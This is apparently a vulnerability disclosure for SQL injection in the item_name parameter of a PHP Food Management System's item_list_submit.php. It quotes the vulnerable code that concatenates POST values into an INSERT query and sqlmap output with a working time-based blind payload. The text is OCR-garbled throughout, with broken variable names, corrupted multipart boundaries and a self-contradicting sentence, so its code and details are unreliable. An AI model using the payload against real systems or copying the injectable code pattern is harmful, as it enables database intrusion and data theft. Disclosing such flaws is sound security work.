SQL injection vulnerability exists in item\_name parameter of item\_list\_submit.php file of Food Management System

Important user data or system data may be leaked and system security may be compromised. The environment is secure and the information can be used by malicious users.

```
$itemName=$_POST['item name'];
$itemType = $ POST['item type'];
$price = $ POST['item price'];
$item price dist = $ POST['item price dist'];
$item price retl = $ POST['item price retl'];
//$itemStatus= $ POST['item status'] ;
$date created=date("Y-m-d H:i:s");
$date modified = date("Y-m-d H:i:s");
$qry= mysqli query($con, "INSERT INTO ho item list (item name, item type, price,
item_price_dist,item_price_retl,status,date_created,date modified) VALUES
('$itemName', '$itemType', '$price', '$item price dist', '$item price retl',
'1', '$date_created', '$date_modified')");
sqlmap resumed the following injection point(s) from stored session:
Parameter: MULTIPART item_name ((custom) POST)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 RLIKE time-based blind
   Payload: .
                     —YWJkMTQzNDcw
Content-Disposition: form-data; name="item_name"
pHqghUme' RLIKE SLEEP(5) AND 'OvHs'='OvHs
          -YWJKMTQzNDcw
Content-Disposition: form-data; name="item_type"
          -YWJkMTQzNDcw
Content-Disposition: form-data; name="item_price"
          -YWJkMTQzNDcw
Content-Disposition: form-data; name="item_price_dist"
          -YWJkMTQzNDcw
Content-Disposition: form-data; name="item_price_retl"
          -YWJkMTOZNDCW
Content-Disposition: form-data; name="entry_date"
01/01/1967
         -YWJkMTQzNDcw--
Parameter: MULTIPART item_name ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: -----YWJkMTQzNDcw
Content-Disposition: form-data; name="item_name"
pHqghUme' RLIKE SLEEP(5) AND 'OvHs'='OvHs
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="item type"
```

| YWJkMTQzNDcw   |
|--|
| Content-Disposition: form-data; name="item_price"          |
| 1  |
| -  |
| YWJkMTQzNDcw   |
| $Content-Disposition: form-data; name="item\_price\_dist"$ |
|  |
| 1  |
| YWJkMTQzNDcw   |
| Content-Disposition: form-data; name="item_price_retl"     |
|  |
| 0  |
| YWJkMTQzNDcw   |
| Content-Disposition: form-data; name="entry_date"          |
|  |
| 01/01/1967   |
|  |
| YWJkMTQzNDcw   |
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Source Download:

https://www.kashipara.com/project/php/12086/food-management-system-php-project-source-code